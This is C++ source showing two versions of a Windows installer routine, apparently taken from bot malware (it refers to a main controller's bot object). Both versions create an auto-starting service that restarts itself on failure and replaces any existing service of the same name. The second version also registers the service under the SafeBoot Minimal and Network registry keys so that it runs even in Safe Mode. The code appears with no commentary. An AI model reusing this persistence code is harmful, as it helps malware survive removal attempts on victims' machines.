bool CInstaller::ServiceAddInt(CString &sServicename, CString &sFilename, CString &sParams) { SC_HANDLE hServiceControl=OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_ALL_ACCESS); if(!hServiceControl) return false; CString sSvcCmd; sSvcCmd.Format("\"%s\" %s", sFilename.CStr(), sParams.CStr()); SC_HANDLE hService=CreateService(hServiceControl, sServicename.CStr(), g_pMainCtrl->m_cBot.as_valname.sValue.CStr(), SERVICE_ALL_ACCESS, \ SERVICE_WIN32_SHARE_PROCESS, SERVICE_AUTO_START, SERVICE_ERROR_NORMAL, \ sSvcCmd.CStr(), NULL, NULL, NULL, NULL, NULL); if(!hService) { DWORD dwError=GetLastError(); if(dwError==ERROR_SERVICE_EXISTS) { ServiceDel(sServicename); CloseServiceHandle(hService); CloseServiceHandle(hServiceControl); return ServiceAdd(sServicename, sFilename); } else { CloseServiceHandle(hServiceControl); return false; } } SC_ACTION scActions[1]; scActions[0].Delay=1; scActions[0].Type=SC_ACTION_RESTART; SERVICE_FAILURE_ACTIONS sfActions; sfActions.dwResetPeriod=INFINITE; sfActions.lpRebootMsg=NULL; sfActions.lpCommand=NULL; sfActions.cActions=1; sfActions.lpsaActions=scActions; if(!ChangeServiceConfig2(hService, SERVICE_CONFIG_FAILURE_ACTIONS, &sfActions)) { CloseServiceHandle(hService); CloseServiceHandle(hServiceControl); return false; } CloseServiceHandle(hService); CloseServiceHandle(hServiceControl); return true; }
bool CInstaller::ServiceAddInt(CString &sServicename, CString &sFilename, CString &sParams) { SC_HANDLE hServiceControl=OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_ALL_ACCESS); if(!hServiceControl) return false; CString sSvcCmd; sSvcCmd.Format("\"%s\" %s", sFilename.CStr(), sParams.CStr()); SC_HANDLE hService=CreateService(hServiceControl, sServicename.CStr(), g_pMainCtrl->m_pBot->as_valname.sValue.CStr(), SERVICE_ALL_ACCESS, \ SERVICE_WIN32_SHARE_PROCESS, SERVICE_AUTO_START, SERVICE_ERROR_NORMAL, \ sSvcCmd.CStr(), NULL, NULL, NULL, NULL, NULL); if(!hService) { DWORD dwError=GetLastError(); if(dwError==ERROR_SERVICE_EXISTS) { ServiceDel(sServicename); CloseServiceHandle(hService); CloseServiceHandle(hServiceControl); return ServiceAdd(sServicename, sFilename); } else { CloseServiceHandle(hServiceControl); return false; } } SC_ACTION scActions[1]; scActions[0].Delay=1; scActions[0].Type=SC_ACTION_RESTART; SERVICE_FAILURE_ACTIONS sfActions; sfActions.dwResetPeriod=INFINITE; sfActions.lpRebootMsg=NULL; sfActions.lpCommand=NULL; sfActions.cActions=1; sfActions.lpsaActions=scActions; if(!ChangeServiceConfig2(hService, SERVICE_CONFIG_FAILURE_ACTIONS, &sfActions)) { CloseServiceHandle(hService); CloseServiceHandle(hServiceControl); return false; } CloseServiceHandle(hService); CloseServiceHandle(hServiceControl); HKEY key; HKEY lhmin; HKEY lhnet; HKEY lhnew; DWORD dwSize=128; char szDataBuf[128]; strcpy(szDataBuf, "Service"); LONG lRet=RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Control\\SafeBoot\\", 0, KEY_READ, &key); RegOpenKeyEx(key, "Minimal",0,KEY_ALL_ACCESS, &lhmin); RegOpenKeyEx(key, "Network",0,KEY_ALL_ACCESS, &lhnet); RegCreateKeyEx(lhmin, sServicename.CStr(), 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &lhnew, NULL); RegSetValueEx(lhnew, sServicename.CStr(), NULL, REG_SZ, (unsigned char*)szDataBuf, dwSize); RegCreateKeyEx(lhnet, sServicename.CStr(), 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &lhnew, NULL); RegSetValueEx(lhnew, sServicename.CStr(), NULL, REG_SZ, (unsigned char*)szDataBuf, dwSize); RegCloseKey(lhnet); RegCloseKey(lhmin); RegCloseKey(key); return true; }